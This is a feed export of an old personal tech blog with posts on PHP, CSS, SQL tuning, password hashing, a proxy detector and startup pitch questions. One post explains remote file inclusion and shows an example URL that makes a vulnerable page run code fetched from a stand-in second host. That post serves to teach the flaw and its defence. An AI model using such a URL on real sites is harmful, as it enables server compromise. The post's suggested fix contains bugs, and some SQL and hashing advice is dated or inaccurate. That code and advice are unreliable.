tag:blogger.com,1999:blog-4455536892620321242024-03-14T06:43:20.543+11:00Just do it(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.comBlogger34125tag:blogger.com,1999:blog-445553689262032124.post-12107448448740724552008-09-04T18:04:00.003+10:002008-09-04T18:09:08.318+10:00XP HOME local securityxp HOME edition does not have local security policy setting(gpedit.msc), here is a solution: <br /> 1、Copy files from XP Pro (in “C:\WINDOWS\system32”) gpedit.msc、fde.dll、gpedit.dll、 gptext.dll、wsecedit.dll to HOME <span style="font-style:italic;">“C:\WINDOWS\system32”</span><br /> 2、Start->run: run following command “regsvr32 fde.dll”、“regsvr32 gpedit.dll”、“regsvr32 gptext.dll”、“regsvr32 wsecedit.dll”<br /> 3、Copy all the *.adm files in XP Pro “C:\WINDOWS\INF” to HOME edition in “C:\WINDOWS\INF”<br /> 4、Last step, run “gpedit.msc”, you will see the security policy console(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-16185041956988271072008-02-29T21:00:00.001+11:002008-02-29T21:01:31.729+11:00PHP Socket Basic<pre class="code"><br /><br /><?<br />// set some variables<br />$host = "192.168.1.99";<br />$port = 1234;<br />// don't timeout!<br />set_time_limit(0);<br />// create socket<br />$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create<br />socket\n");<br />// bind socket to port<br />$result = socket_bind($socket, $host, $port) or die("Could not bind to<br />socket\n");<br />// start listening for connections<br />$result = socket_listen($socket, 3) or die("Could not set up socket<br />listener\n");<br />// accept incoming connections<br />// spawn another socket to handle communication<br />$spawn = socket_accept($socket) or die("Could not accept incoming<br />connection\n");<br />// read client input<br />$input = socket_read($spawn, 1024) or die("Could not read input\n");<br />// clean up input string<br />$input = trim($input);<br />// reverse client input and send back<br />$output = strrev($input) . "\n";<br />socket_write($spawn, $output, strlen ($output)) or die("Could not write<br />output\n");<br />// close sockets<br />socket_close($spawn);<br />socket_close($socket);<br />?><br /><br /></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-85252759148075253342008-02-11T14:57:00.000+11:002008-02-11T15:02:05.959+11:00Business Presentation Tipshttp://www.feld.com/blog/archives/2004/06/the_torturous_w.html<br /><br /><p sth_t="149" mk_i="183">Following are the questions to address. </p> 1) WHAT IS YOUR VISION?<br /> - What is your big vision?<br /> - What problem are you solving and for whom?<br /> - Where do you want to be in the future?<br /> <br /> 2) WHAT IS YOUR MARKET OPPORTUNITY AND HOW BIG IS IT?<br /> - How big is the market opportunity you are pursuing and how fast is it growing?<br /> - How established (or nascent) is the market?<br /> - Do you have a credible claim on being one of the top two or three players in the market?<br /> <br /> 3) DESCRIBE YOUR PRODUCT/SERVICE<br /> - What is your product/service?<br /> - How does it solve your customer’s problem?<br /> - What is unique about your product/service?<br /> <br /> 4) WHO IS YOUR CUSTOMER?<br /> - Who are your existing customers?<br /> - Who is your target customer?<br /> - What defines an "ideal" customer prospect?<br /> - Who actually writes you the check?<br /> - Use specific customer examples where possible.<br /> <br /> 5) WHAT IS YOUR VALUE PROPOSITION?<br /> - What is your value proposition to the customer?<br /> - What kind of ROI can your customer expect by using buying your product/service?<br /> - What pain are you eliminating?<br /> - Are you selling vitamins, aspirin or antibiotics? (I.e. a luxury, a nice-to-have, or a need-to-have)<br /> <br /> 6) HOW ARE YOU SELLING?<br /> - What does the sales process look like and how long is the sales cycle?<br /> - How will you reach the target customer? What does it cost to "acquire" a customer?<br /> - What is your sales, marketing and distribution strategy?<br /> - What is the current sales pipeline?<br /> <br /> 7) HOW DO YOU ACQUIRE CUSTOMERS?<br /> - What is your cost to acquire a customer?<br /> - How will this acquisition cost change over time and why?<br /> - What is the lifetime value of a customer?<br /> <br /> 8) WHO IS YOUR MANAGEMENT TEAM?<br /> - Who is the management team?<br /> - What is their experience?<br /> - What pieces are missing and what is the plan for filling them?<br /> <br /> 9) WHAT IS YOUR REVENUE MODEL?<br /> - How do you make money?<br /> - What is your revenue model?<br /> - What is required to become profitable?<br /> <br /> 10) WHAT STAGE OF DEVELOPMENT ARE YOU AT?<br /> - What is your stage of development? Technology/product? Team? Financial metrics/revenue?<br /> - What has been the progress to date (make reality and future clear)?<br /> - What are your future milestones?<br /> <br /> 11) WHAT ARE YOUR PLANS FOR FUND RAISING?<br /> - What funds have already been raised?<br /> - How much money are you raising and at what valuation?<br /> - How will the money be spent?<br /> - How long will it last and where will the company "be" on its milestones progress at that time?<br /> - How much additional funding do you anticipate raising & when?<br /> <br /> 12) WHO IS YOUR COMPETITION?<br /> - Who is your existing & likely competition?<br /> - Who is adjacent to you (in the market) that could enter your market (and compete) or could be a co-opted partner?<br /> - What are their strengths/weaknesses?<br /> - Why are you different?<br /> <br /> 13) WHAT PARTNERSHIPS DO YOU HAVE?<br /> - Who are your key distribution and technology partners (current & future)?<br /> - How dependent are you on these partners?<br /> <br /> 14) HOW DO YOU FIT WITH THE PROSPECTIVE INVESTOR?<br /> - How does this fit w/ the investor’s portfolio and expertise?<br /> - What synergies, competition exist with the investor’s existing portfolio?<br /> <br /> 15) OTHER<br /> - What assumptions are key to the success of the business?<br /> - What "gotchas" could change the business overnight? New technologies, new market entrants, change in standards or regulations?<br /> - What are your company’s weak links?(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-72357033753448976242008-02-04T11:59:00.000+11:002008-02-04T12:08:34.173+11:00Make a container's border work!<pre style="margin-right: -582px;">div.container {<br /> border: 1px solid #000000;<br /> overflow: hidden;<br /> width: 100%;<br />}<br /><br />div.left {<br /> width: 45%;<br /> float: left;<br />}<br /><br />div.right {<br /> width: 45%;<br /> float: right;<br />}<br /></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-68003162169742325652008-02-01T12:15:00.001+11:002008-02-01T12:33:41.879+11:00Code Injection Vulnerabilities Explained<span style="font-size: 10pt;"><b>Introduction:</b><br /></span><p><span style="font-size: 10pt;">There has been a sudden increase of attacks on sites that have Code Injection vulnerabilites. Code Injection is a term used when code is injected straight into a program/script from an outside source for execution at some point in time. These type of vulnerabilities may be many times worse than any other vulnerability, since the security of the website, and possibly of the server, is compromised.</span></p><br /><span style="font-size: 10pt;"><b>Example:</b><br /></span><p><span style="font-size: 10pt;">This example will help you understand what exactly a Code Injection Vulnerability looks like in it's simplest form, and unfortunately, this snipet is actually used in quite a few websites.</span></p><br /><pre><span style="font-size: 10pt;">... html header ...<br /><br /><?php<br />include ('$page');<br />?><br /><br />... html footer ...<br /></span></pre><br /><span style="font-size: 10pt;"> <i>Note: There is no php code in the header or footer, it is just HTML.</i><br /><br /></span><p><span style="font-size: 10pt;">To some, this is obviously a big mistake. The '$page' variable is never checked, so an attacker can choose what to include. So how does one exploit the above code?</span></p><br /><br /><span style="font-size: 10pt;"><b>Example Exploit:</b><br /></span><p><span style="font-size: 10pt;">An attacker can create a 'txt' file on another server and have it included in the above example. If the attacker puts php code in this 'txt' file, it will be executed on the exploited host.</span></p><br /><pre><span style="font-size: 10pt;"><?php<br />phpinfo();<br />?><br /><br /></span></pre><br /><p><span style="font-size: 10pt;">Let's say the vulnerable code is located at 'http://domain/index.php', and the 'txt' file is located at 'http://domain2/code.txt', then the attacker would enter something like this into his browser: </span></p><br /><pre><span style="font-size: 10pt;">http://domain/index.php?page=http://domain2/code.txt<br /></span></pre><br /><p><span style="font-size: 10pt;">Then end result would have the exploited website execute the command 'phpinfo()' in between the header and footer where the php include is located.</span></p><br /><span style="font-size: 10pt;"><br /><br /><br /><b>Explaination:</b><br /></span><p><span style="font-size: 10pt;">If you had no problem understanding why this would happen, feel free to skip this section.</span></p><br /><p><span style="font-size: 10pt;">The 'include()' function takes data from another file, that is defined in the brackets (), and places the data in the area that the include is executed. So let us run through the program in our minds, and assume the url mentioned above is entered into a browser. In the url, it defines the variable $page as containing 'http://domain2/code.txt', so let us replaces all $page variables with this string:</span></p><br /><pre><span style="font-size: 10pt;">... html header ...<br /><br /><?php<br />include ('<b>http://domain2/code.txt</b>');<br />?><br /><br />... html footer ...<br /></span></pre><br /><p><span style="font-size: 10pt;">Now the include function takes the code from the url/file mentioned, and places it where the include was called, so the result would be:</span></p><br /><br /><pre><span style="font-size: 10pt;">... html header ...<br /><br /><b><?php<br />phpinfo();<br />?></b><br /><br />... html footer ...<br /></span></pre><br /><p><span style="font-size: 10pt;">Now this is what the server ends up processing. What happens here is the header is displayed, then the php command; 'phpinfo()' is executed, followed by the footer at the end. </span></p><br /><br /><span style="font-size: 10pt;"><b>What can happen:</b><br /></span><p><span style="font-size: 10pt;">The above example had harmless code being executed, but the attacker can execute more malicious code. </span></p><br /><br /><ul><br /><span style="font-size: 10pt;"><li> An attacker can output the contents of any php file raw to the browser, where he can possibly obtain an sql login/password to your database.<br /><br /><br /></li><li> An attacker can use your website to send out large amounts of spam to various email addresses.<br /></li><li> An attacker can deface your website.<br /></li><li> An attacker can obtain private information.<br /></li><li> An attacker may gain access to the whole server.<br /></li></span></ul><br /><br /><p><span style="font-size: 10pt;">This is why it is important to secure your website, and not leave such vulnerabilities open for attack.</span></p><br /><br /><span style="font-size: 10pt;"><b>Solution:</b><br /></span><p><span style="font-size: 10pt;">There is a very simple solution to the above example, and that is to check the variable. In the above example, 99% of the time you know what values $page should be, and therefore can check to see if that is the case.</span></p><br /><br /><pre><span style="font-size: 10pt;">... html header ...<br /><br /><?php<br />//list of valid pages<br />$pages=array("games/index.html", "news/news.html", "games/1.html");<br /><br />//check $page variable<br />$valid=false;<br />for ($i=0; $i<sizeof($pages) || !$valid; $i++) {<br /> if ($page==$page[$i]) {<br /> $valid=true;<br /> }<br />}<br />if ($valid) include($page);<br />if (!$valid) include($pages[0]); // include the first page if not valid<br />?><br /><br />... html footer ...<br /></span></pre><br /><br /><span style="font-size: 10pt;"><b>Another Solution:</b><br /></span><p><span style="font-size: 10pt;">Another solution is to check for invalid characters and setup all the page files in a seperate directory, all together. </span></p><br /><span style="font-size: 10pt;">Example of where the pages are placed:<br /><br /><br /></span><ul><br /><span style="font-size: 10pt;"><li> pages/games.html<br /><br /></li><li> pages/news.html<br /></li><li> pages/games-1.html<br /></li></span></ul><br /><span style="font-size: 10pt;"><br /><br />Code:<br /></span><pre><span style="font-size: 10pt;">... html header ...<br /><br /><?php<br />$invalidChars=array("/",".","\\","\"",";");<br />$page=str_replace($invalidChars,"",$page);<br />include ("pages/".$page.".html");<br />?><br /><br />... html footer ...<br /></span></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-9931291156127332692008-01-19T14:24:00.001+11:002008-01-19T19:57:54.326+11:00Merge in Source ControlIn theory, this could be very difficult:<br /><br /> * What happens if Jane changed some of the same lines that Joe changed, but in different ways?<br /> * What happens if Jane's changes are functionally incompatible with Joe's?<br /> * What happens if Jane made a change to a C# function which Joe has deleted?<br /> * What happens if Jane changed 80 percent of the lines in the file?<br /> * What happens if Jane and Joe each changed 80 percent of the lines in the file, but each did so for entirely different reasons?<br /> * What happens if Jane's intent was not clear and she cannot be reached to ask questions?(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-60216583868183557812008-01-18T13:39:00.000+11:002008-01-18T13:45:49.002+11:00SQL Performance* One: only "tune" sql after code is confirmed as working correctly.<br /><br />* Two: ensure repeated sql statements are written absolutely identically to facilate efficient reuse: re-parsing can often be avoided for each subsequent use.<br /><br />Writing best practices: all sql verbs in upper-case i.e. SELECT; separate all words with a single space; all sql verbs begin on a new line; sql verbs aligned right or left within the initial verb; set and maintain a table alias standard; use table aliases and when a query involves more than one table prefix all column names with their aliases. Whatever you do, be consistent.<br /><br />* Three: code the query as simply as possible i.e. no unnecessary columns are selected, no unnecessary GROUP BY or ORDER BY.<br /><br />* Four: it is the same or faster to SELECT by actual column name(s). The larger the table the more likely the savings.<br />Use:<br />SELECT customer_id, last_name, first_name, street, city FROM customer; Rather than:<br />SELECT * FROM customer;<br /><br />* Five: do not perform operations on DB objects referenced in the WHERE clause:<br />Use:<br />SELECT client, date, amount FROM sales WHERE amount > 0;<br />Rather than:<br />SELECT client, date, amount FROM sales WHERE amount!= 0;<br /><br />* Six: avoid a HAVING clause in SELECT statements - it only filters selected rows after all the rows have been returned. Use HAVING only when summary operations applied to columns will be restricted by the clause. A WHERE clause may be more efficient.<br />Use:<br />SELECT city FROM country WHERE city!= 'Vancouver' AND city!= 'Toronto'; GROUP BY city;<br />Rather than:<br />SELECT city FROM country GROUP BY city HAVING city!= 'Vancouver' AND city!= 'Toronto';<br /><br />* Seven: when writing a sub-query (a SELECT statement within the WHERE or HAVING clause of another sql statement):<br />-- use a correlated (refers to at least one value from the outer query) sub-query when the return is relatively small and/or other criteria are efficient i.e. if the tables within the sub-query have efficient indexes.<br />-- use a noncorrelated (does not refer to the outer query) sub-query when dealing with large tables from which you expect a large return (many rows) and/or if the tables within the sub-query do not have efficient indexes.<br />-- ensure that multiple sub-queries are in the most efficient order.<br />-- remember that rewriting a sub-query as a join can sometimes increase efficiency.<br /><br />* Eight: minimise the number of table lookups especially if there are sub-query SELECTs or multicolumn UPDATEs.<br /><br />* Nine: when doing multiple table joins consider the benefits/costs for each of EXISTS, IN, and table joins. Depending on your data one or another may be faster.<br />Note: IN is usually the slowest.<br />Note: when most of the filter criteria are in the sub-query IN may be more efficient; when most of the filter criteria are in the parent-query EXISTS may be more efficient.<br /><br />* Ten: where possible use EXISTS rather than DISTINCT.<br /><br />* Eleven: where possible use a non-column expression (putting the column on one side of the operator and all the other values on the other). Non-column expressions are often processed earlier thereby speeding the query.<br />Use:<br />WHERE SALES < 1000/(1 + n);<br />Rather than:<br />WHERE SALES + (n * SALES) < 1000;<br /><br />* Twelve: the most efficient method for storing large binary objects, i.e. multimedia objects, is to place them in the file system and place a pointer in the DB.<br /><br />* Thirteen: Use inner-joint rather than left/right/cross joint<br /><br />* Fourteen: In most of cases, GROUP+HAVING < WHERE(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-66101536947143836902008-01-17T09:33:00.001+11:002008-01-18T17:03:00.438+11:00PHP HASH<p>If you build websites that require users to register it’s your responsibility to keep their passwords safe. And if you’re storing the passwords in plain text then you’re not doing your job properly. It may be that, <a href="http://reddit.com/info/usqe/comments/cuugl">like Reddit</a>, you think that storing passwords in plain text leads to a better user experience. I happen to agree with you. But then, like Reddit, what happens if your database is stolen? It’s not just your site that is compromised. Since most users use the same password on multiple sites, all those sites have also been compromised.</p><br /><br /><p>No data is entirely secure, and if anyone else has access to your webserver (the company managing the server for you?) or your database (the company storing the backups?) then you don’t have total control over the security anyway. So there’s always a chance your database could be stolen. So, the simple rule is to hash your passwords.</p><br /><br /><h3>Hashing</h3><br /><br /><p>A hash is a string derived from the original password via a one-way algorithm. In other words, it’s easy to create the hash from the original, but harder (when used for security, ideally impossible) to create the original from the hash. You store the hash in the database, and when the user signs-in you hash the password they sign-in with and compare it to the hash in the database. Something like this</p><br /><br /><pre class="code">if( $user->passwordhash == sha1( $_POST['password'] ) )</pre><br /><br /><p>That way, you never store the user’s password.</p><br /><br /><p>There are a number of hashing algorithms in PHP, of which md5 and sha1 are the most commonly used. Unfortunately, neither is as secure as they were once thought to be. It would be better to use a more secure hash, and if you have the Hash engine in your PHP installation (included by default since PHP 5.1.2) then you have access to many more algorithms. So a better example would be</p><br /><br /><pre class="code">if( $user->passwordhash == hash( 'whirlpool', $_POST['password'] ) )</pre><br /><br /><h3>Rainbow tables</h3><br /><br /><p>But there’s another problem. Once your database is stolen, the thief has plenty of time to crack the passwords using a simple <a href="http://www.codinghorror.com/blog/archives/000949.html">Rainbow Table attack</a>. This involves creating a large selection of hashes based on likely passwords (e.g. every word in the dictionary) and then comparing the hashes with the hashes in your database. Within an hour or so, half the passwords in your database will probably have been cracked.</p><br /><br /><p>To prevent this you should salt each password by adding a random string to it (called a salt or nonce). The time consuming part of a rainbow table attack is building the dictionary of hashes. Adding a random salt to the password means the thief has to build a whole new dictionary of hashes for each salt, making a rainbow table attack too time consuming to be viable. Each password should have a different salt, and the salt doesn’t even need to be secret.</p><br /><br /><h3>The Code bit</h3><br /><br /><p>So, for secure passwords you need code that looks something like this</p><br /><br /><pre class="code">// get a new salt - 8 hexadecimal characters long<br />// current PHP installations should not exceed 8 characters<br />// on dechex( mt_rand() )<br />// but we future proof it anyway with substr()<br />function getPasswordSalt()<br />{<br /> return substr( str_pad( dechex( mt_rand() ), 8, '0',<br /> STR_PAD_LEFT ), -8 );<br />}<br /><br />// calculate the hash from a salt and a password<br />function getPasswordHash( $salt, $password )<br />{<br /> return $salt . ( hash( 'whirlpool', $salt . $password ) );<br />}<br /><br />// compare a password to a hash<br />function comparePassword( $password, $hash )<br />{<br /> $salt = substr( $hash, 0, 8 );<br /> return $hash == getPasswordHash( $salt, $password );<br />}<br /><br />// get a new hash for a password<br />$hash = getPasswordHash( getPasswordSalt(), $password );</pre><br /><br /><p>You don’t have to attach the salt to the hash, you can instead store them separately within the database, but I like keeping them together in a single string. Equally, the salt needn’t be in hexadecimal, but I like the symmetry with the hexadecimal hash.</p><br /><br /><p>Finally, <a href="http://www.matasano.com/log/958/enough-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/">as Thomas Ptacek points out</a>, you don’t want the fastest hash algorithm in the world for this - a fast algorithm is more useful to an attacker than it is to you.<br /></p><br /><br /><p>Good Encryption: http://drupal.org/project/phpass</p>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com1tag:blogger.com,1999:blog-445553689262032124.post-10354098080690825582008-01-16T22:47:00.000+11:002008-01-17T11:28:00.618+11:00Proxy Detector<pre><?<br />/**<br />* Proxy Detector v0.1<br />* copyrights by: Daantje Eeltink (me@daantje.nl)<br />* http://www.daantje.nl<br />*<br />* first build: Mon Sep 18 21:43:48 CEST 2006<br />* last build: Tue Sep 19 10:37:12 CEST 2006<br />*<br />* Description:<br />* This class can detect if a visitor uses a proxy server by scanning the<br />* headers returned by the user client. When the user uses a proxy server,<br />* most of the proxy servers alter the header. The header is returned to<br />* PHP in the array $_SERVER.<br />*<br />* License:<br />* GPL v2 licence. (http://www.gnu.org/copyleft/gpl.txt)<br />*<br />* Support:<br />* If you like this class and find it usefull, please donate one or two<br />* coins to my PayPal account me@daantje.nl<br />*<br />* Todo:<br />* Add open proxy black list scan.<br />*/<br /><br />class proxy_detector {<br /><br /> /**<br /> * CONSTRUCTOR<br /> * Set defaults...<br /> */<br /> function proxy_detector(){<br /> $this->config = array();<br /> $this->lastLog = "";<br /><br /> //set default headers<br /> $this->scan_headers = array(<br /> 'HTTP_VIA',<br /> 'HTTP_X_FORWARDED_FOR',<br /> 'HTTP_FORWARDED_FOR',<br /> 'HTTP_X_FORWARDED',<br /> 'HTTP_FORWARDED',<br /> 'HTTP_CLIENT_IP',<br /> 'HTTP_FORWARDED_FOR_IP',<br /> 'VIA',<br /> 'X_FORWARDED_FOR',<br /> 'FORWARDED_FOR',<br /> 'X_FORWARDED',<br /> 'FORWARDED',<br /> 'CLIENT_IP',<br /> 'FORWARDED_FOR_IP',<br /> 'HTTP_PROXY_CONNECTION'<br /> );<br /> }<br /><br /><br /> /**<br /> * VOID setHeader( STRING $trigger )<br /> * Set new header trigger...<br /> */<br /> function setHeader($trigger){<br /> $this->scan_headers[] = $trigger;<br /> }<br /><br /><br /> /**<br /> * ARRAY $triggers = getHeaders( VOID )<br /> * Get all triggers in one array<br /> */<br /> function getHeaders(){<br /> return $this->scan_headers;<br /> }<br /><br /><br /> /**<br /> * VOID setConfig( STRING $key, STRING $value)<br /> * Set config line...<br /> */<br /> function setConfig($key,$value){<br /> $this->config[$key] = $value;<br /> }<br /><br /><br /> /**<br /> * MIXED $config = getConfig( [STRING $key] )<br /> * Get all config in one array, or only one config value as a string.<br /> */<br /> function getConfig($key=''){<br /> if($key)<br /> return $this->config[$key];<br /> else<br /> return $this->config;<br /> }<br /><br /><br /> /**<br /> * STRING $log = getLog( VOID )<br /> * Get last logged information. Only works AFTER calling detect()!<br /> */<br /> function getLog(){<br /> return $this->lastLog;<br /> }<br /><br /><br /> /**<br /> * BOOL $proxy = detect( VOID )<br /> * Start detection and return true if a proxy server is detected...<br /> */<br /> function detect(){<br /> $log = "";<br /><br /> //scan all headers<br /> foreach($this->scan_headers as $i){<br /> //proxy detected? lets log...<br /> if($_SERVER[$i])<br /> $log.= "trigger $i: ".$_SERVER[$i]."\n";<br /> }<br /><br /> //let's do something...<br /> if($log){<br /> $log = $this->lastLog = date("Y-m-d H:i:s")<br />."\nDetected proxy server: "<br />.gethostbyaddr($_SERVER['REMOTE_ADDR'])." ({$_SERVER['REMOTE_ADDR']})\n".$log;<br /><br /> //mail message<br /> if($this->getConfig('MAIL_ALERT_TO'))<br /> mail($this->getConfig('MAIL_ALERT_TO'),"<br /> Proxy detected at {$_SERVER['REQUEST_URI']}",$log);<br /><br /> //write to file<br /> $f = $this->getConfig('LOG_FILE');<br /> if($f){<br /> if(is_writable($f)){<br /> $fp = fopen($f,'a');<br /> fwrite($fp,"$log\n");<br /> fclose($fp);<br /> }else{<br /> die("<strong>Fatal Error:</strong> Couldn't write to file: <br />'<strong>$f</strong>'<br><br />Please check if the path exists and is writable for the webserver or php...");<br /> }<br /> }<br /><br /> //done<br /> return true;<br /> }<br /><br /> //nope, no proxy was logged...<br /> return false;<br /> }<br />}<br /><br />?></pre><br /><br /><br /><br /><br /><br />Browsing the code you will notice that it uses a log file to store the data so we will have to create one called "<br />proxy_detector.log". Don't forget to give it the proper permission on the server (CHMOD it to make it writable).<br /><br /><br /><br />Ok so we already have 2 files. Let's go ahead and create a new one called "proxy_detector.inc.php"<br />.This one will initiate our class for our future use and do what we want it to do so I suggest you to edit it to suit your needs. Copy paste this code and save it:<br /><br /><br /><br /> <pre><?<br />/**<br />* Proxy Detector v0.1<br />* Implementation example.<br />*<br />* Mon Sep 18 23:29:47 CEST 2006<br />* by: me@daantje.nl<br />*<br />* Documentation:<br />* I use this file as an include at the top of some php files<br />* to block proxy users from the scripts that included this file.<br />*<br />* This file is only an example on how to implement the detector class.<br />* But it could be usefull as is...<br />*<br />* Check the remarks in the class for more documentation.<br />*/<br /><br />//include detector class, assuming it's in the same directory as this file...<br />include_once(dirname(__FILE__)."/proxy_detector.class.php");<br /><br />//init class<br />$proxy = new proxy_detector();<br /><br />//set optional extra triggers, no need to... <br />//I think I've got all of them covered in the class...<br />// $proxy->setTrigger('HTTP_SOME_HEADER_1');<br />// $proxy->setTrigger('HTTP_SOME_HEADER_2');<br /><br />//set optional config<br />// $proxy->setConfig('MAIL_ALERT_TO','me@daantje.nl');<br />// $proxy->setConfig('LOG_FILE','/home/daantje/public_html/proxy/proxy_detector.log');<br /><br />//start detect<br />if($proxy->detect()){<br /><br /> //returned true, lets die...<br /> echo "<h1>Proxy detected</h1>";<br /> echo "<br /> Please disable your proxy server in your browser preferences or internet settings,<br /> and try again.<br><br>";<br /><br /> //parse logged info<br /> echo nl2br($proxy->getLog());<br /><br /> //some credits...<br /> echo "<hr><strong>proxy detector v0.1</strong> <br />- &copy;2006 < a href=\"http://www.daantje.nl\" <br />target=\"_blank\">daantje.nl</a>";<br /><br /> //and do nothing anymore! (but not in my example)<br /> //exit();<br />}<br /><br />//else, proceed as normal, put your code here...<br />?></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-44363121862664873062007-12-28T16:26:00.000+11:002008-01-17T10:45:12.312+11:00DOM / AJAX<pre class="code"><br />function view_detail(id) { <br /> // delete detail rows<br /> <br /> <br /> // create a new row with one cell in it<br /> var main_table = document.getElementsByTagName('table')[0];<br /> var table_row = document.getElementById('tr'+id);<br /><br /> var row_index = table_row.rowIndex;<br /> var new_row = main_table.insertRow(row_index+1);<br /> var cell_a = new_row.insertCell(0);<br /> cell_a.colSpan = "7";<br /><br /> <br /> // create a input box<br /> var textbox = document.createElement('input');<br /> textbox.type = 'text';<br /> textbox.name = 'txtRow' + id;<br /> textbox.id = 'txtRow' + id;<br /> textbox.size = 220;<br /> cell_a.appendChild(textbox);<br /> <br /> // trigger Ajax<br /> xHRObject.onreadystatechange = getData(id); <br /> xHRObject.open("GET", "log_detail.php?id="+id, false);<br /> xHRObject.send(null);<br /><br /> }<br /> <br /> function getData(id){<br /> if ((xHRObject.readyState==4) && (xHRObject.status==200))<br /> { <br /> alert("yap");<br /> var textbox = document.getElementById('txtRow'+id);<br /> textbox.value = xHRObject.responseText;<br /> }<br /> }<br /></pre>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-15596366612283988262007-12-01T15:37:00.000+11:002008-01-17T10:45:33.332+11:0010 Trick in CSS design1. CSS font shorthand rule<br /><br />When styling fonts with CSS you may be doing this:<br />font-size: 1em;<br />line-height: 1.5em;<br />font-weight: bold;<br />font-style: italic;<br />font-variant: small-caps;<br />font-family: verdana,serif;<br /><br />There's no need though as you can use this CSS shorthand property:<br />font: 1em/1.5em bold italic small-caps verdana,serif<br /><br />Much better! Just a couple of words of warning: This CSS shorthand version will only work if you're specifying both the font-size and the font-family. Also, if you don't specify the font-weight, font-style, or font-varient then these values will automatically default to a value of normal, so do bear this in mind too.<br />2. Two classes together<br /><br />Usually attributes are assigned just one class, but this doesn't mean that that's all you're allowed. In reality, you can assign as many classes as you like! For example:<br /><p class="text side">...</p><br /><br />Using these two classes together (separated by a space, not with a comma) means that the paragraph calls up the rules assigned to both text and side. If any rules overlap between the two classes then the class which is below the other in the CSS document will take precedence.<br />3. CSS border default value<br /><br />When writing a border rule you'll usually specify the colour, width and style (in any order). For example, border: 3px solid #000 will give you a black solid border, 3px thick. However the only required value here is the border style.<br /><br />If you were to write just border: solid then the defaults for that border will be used. But what defaults? Well, the default width for a border is medium (equivalent to about 3 to 4px) and the default colour is that of the text colour within that border. If either of these are what you want for the border then you can leave them out of the CSS rule!<br />4. !important ignored by IE<br /><br />Normally in CSS whichever rule is specified last takes precedence. However if you use !important after a command then this CSS command will take precedence regardless of what appears after it. This is true for all browsers except IE. An example of this would be:<br />margin-top: 3.5em !important; margin-top: 2em<br /><br />So, the top margin will be set to 3.5em for all browsers except IE, which will have a top margin of 2em. This can sometimes come in useful, especially when using relative margins (such as in this example) as these can display slightly differently between IE and other browsers.<br /><br />(Many of you may also be aware of the CSS child selector, the contents of which IE ignores.)<br />5. Image replacement technique<br /><br />It's always advisable to use regular HTML markup to display text, as opposed to an image. Doing so allows for a faster download speed and has accessibility benefits. However, if you've absolutely got your heart set on using a certain font and your site visitors are unlikely to have that font on their computers, then really you've got no choice but to use an image.<br /><br />Say for example, you wanted the top heading of each page to be ‘Buy widgets’, as you're a widget seller and you'd like to be found for this phrase in the search engines. You're pretty set on it being an obscure font so you need to use an image:<br /><h1><img src="widget-image.gif" alt="Buy widgets" /></h1><br /><br />This is OK but there's strong evidence to suggest that search engines don't assign as much importance to alt text as they do real text (because so many webmasters use the alt text to cram in keywords). So, an alternative would be:<br /><h1><span>Buy widgets</span></h1><br /><br />Now, this obviously won't use your obscure font. To fix this problem place these commands in your CSS document:<br />h1<br />{<br />background: url(widget-image.gif) no-repeat;<br />}<br /><br />h1 span<br />{<br />position: absolute;<br />left:-2000px;<br />}<br /><br />The image, with your fancy font, will now display and the regular text will be safely out of the way, positioned 2000px to the left of the screen thanks to our CSS rule.<br />6. CSS box model hack alternative<br /><br />The box model hack is used to fix a rendering problem in pre-IE 6 browsers, where by the border and padding are included in the width of an element, as opposed to added on. For example, when specifying the dimensions of a container you might use the following CSS rule:<br />#box<br />{<br />width: 100px;<br />border: 5px;<br />padding: 20px;<br />}<br /><br />This CSS rule would be applied to:<br /><div id="box">...</div><br /><br />This means that the total width of the box is 150px (100px width + two 5px borders + two 20px paddings) in all browsers except pre-IE 6 versions. In these browsers the total width would be just 100px, with the padding and border widths being incorporated into this width. The box model hack can be used to fix this, but this can get really messy.<br /><br />A simple alternative is to use this CSS:<br />#box<br />{<br />width: 150px;<br />}<br /><br />#box div<br />{<br />border: 5px;<br />padding: 20px;<br />}<br /><br />And the new HTML would be:<br /><br /><div id="box"><strong><div></strong>...<strong></div></strong></div><br /><br />Perfect! Now the box width will always be 150px, regardless of the browser!<br />7. Centre aligning a block element<br /><br />Say you wanted to have a fixed width layout website, and the content floated in the middle of the screen. You can use the following CSS command:<br />#content<br />{<br />width: 700px;<br />margin: 0 auto;<br />}<br /><br />You would then enclose <div id="content"> around every item in the body of the HTML document and it'll be given an automatic margin on both its left and right, ensuring that it's always placed in the centre of the screen. Simple... well not quite - we've still got the pre-IE 6 versions to worry about, as these browsers won't centre align the element with this CSS command. You'll have to change the CSS rules:<br />body<br />{<br /><strong>text-align: center</strong>;<br />}<br /><br />#content<br />{<br /><strong>text-align: left</strong>;<br />width: 700px;<br />margin: 0 auto;<br />}<br /><br />This will then centre align the main content, but it'll also centre align the text! To offset the second, probably undesired, effect we inserted text-align: left into the content div.<br />8. Vertically aligning with CSS<br /><br />Vertically aligning with tables was a doddle. To make cell content line up in the middle of a cell you would use vertical-align: middle. This doesn't really work with a CSS layout. Say you have a navigation menu item whose height is assigned 2em and you insert this vertical align command into the CSS rule. It basically won't make a difference and the text will be pushed to the top of the box.<br /><br />Hmmm... not the 